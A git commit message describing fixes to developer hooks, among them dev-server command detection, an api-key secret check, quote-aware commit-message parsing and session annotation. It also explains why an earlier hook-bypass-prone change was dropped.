fix(hooks,lib): fix hook detection and parsing edge cases (#2405)

* fix(hooks,lib): fix hook detection and parsing edge cases

- auto-tmux-dev: dev\b -> dev(?![\w-]) so one-shot dev-build/dev-docs scripts
  are not detached into tmux; align command shapes (yarn run dev, bun dev) with
  pre-bash-dev-server-block.js DEV_PATTERN.
- pre-bash-commit-quality: skip obvious non-secret placeholders (env refs,
  ${...}, <...>, whitelisted tokens) in the api-key rule without suppressing
  real high-entropy secrets; make -m message extraction quote- and
  escaped-quote-aware so `-m "fix: \"x\""` / apostrophes are not truncated.
- pre-compact: annotate the CURRENT worktree's session (match **Worktree:** /
  legacy **Project:**) instead of the newest *-session.tmp across all projects,
  layered onto the LLM-summary flow from #2388; a present-but-blank Worktree
  header is treated as non-legacy (no foreign project fallback).
- shell-substitution: stop double-appending a trailing backslash in an
  unterminated backtick span.
- utils readStdinJson: on overflow, settle and resolve {} immediately (clear
  timer + listeners) instead of waiting for end/timeout and parsing a partial
  prefix; surface the overflow on stderr.

Regression tests added/extended (new tests/hooks/pre-compact.test.js).

Addresses review feedback on #2405. The earlier block-no-verify change was
dropped: its message-value skip on merge/cherry-pick/am/rebase would let
`git rebase -m --no-verify` bypass the hook (rebase's -m is the boolean
--merge), a false-negative worse than the contrived false-positive it fixed.
